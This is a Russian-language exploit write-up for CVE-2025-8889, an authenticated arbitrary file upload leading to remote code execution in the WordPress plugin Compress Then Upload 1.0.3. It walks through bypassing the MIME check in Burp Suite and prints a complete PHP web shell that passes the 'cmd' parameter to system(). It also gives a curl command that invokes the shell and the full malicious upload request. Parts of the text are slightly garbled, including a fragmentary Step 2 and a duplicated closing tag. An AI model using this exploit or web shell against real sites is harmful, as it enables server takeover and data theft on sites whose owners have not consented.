
Доказательство концепции эксплуатации для CVE-2025-8889: произвольная загрузка файлов с последующим выполнением кода (RCE) в плагине WordPress Compress Then Upload версии 1.0.3. Включает пошаговое PoC с использованием Burp Suite для обхода проверки MIME и выполнения PHP-кода.
Дата: 2025-07-23
Автор эксплойта: Muhammed Çelik
Домашняя страница вендора: https://wordpress.com/plugins/compress-then-upload
Ссылка на ПО: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Версия: 1.0.3
Протестировано на: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
Плагин WordPress «Compress Then Upload Images» не выполняет надлежащую проверку расширений файлов и MIME-типов при загрузке изображений через свой интерфейс загрузки медиафайлов. Хотя клиентские проверки существуют, их можно обойти, перехватив и изменив запрос на загрузку.
Аутентифицированный пользователь с правами на загрузку медиафайлов (роль «Автор» или выше) может воспользоваться этим следующим образом:
Шаг 1. Подготовьте обычный файл изображения
Создайте обычный файл изображения, например regular.jpg (любой корректный JPG-файл).
Шаг 2. Загрузите обычное изображение через панель администратора WordPress
regular.jpg обычным способом.Шаг 3. Перехватите и измените запрос на загрузку с помощью Burp Suite
filename="regular.jpg" → filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Примечание: GIF89a; имитирует корректный заголовок GIF, чтобы обойти слабые проверки изображений.
Оставьте Content-Type как image/jpeg.
Передайте изменённый запрос на сервер.
Шаг 4. Запустите загруженный веб-шелл
Если загрузка прошла успешно, PHP-файл будет сохранён в каталоге uploads, например:
http://target-site.com/wp-content/uploads/2025/07/evil.php
Доступ через браузер или curl:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
Пример вредоносного запроса на загрузку (Burp Suite)
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>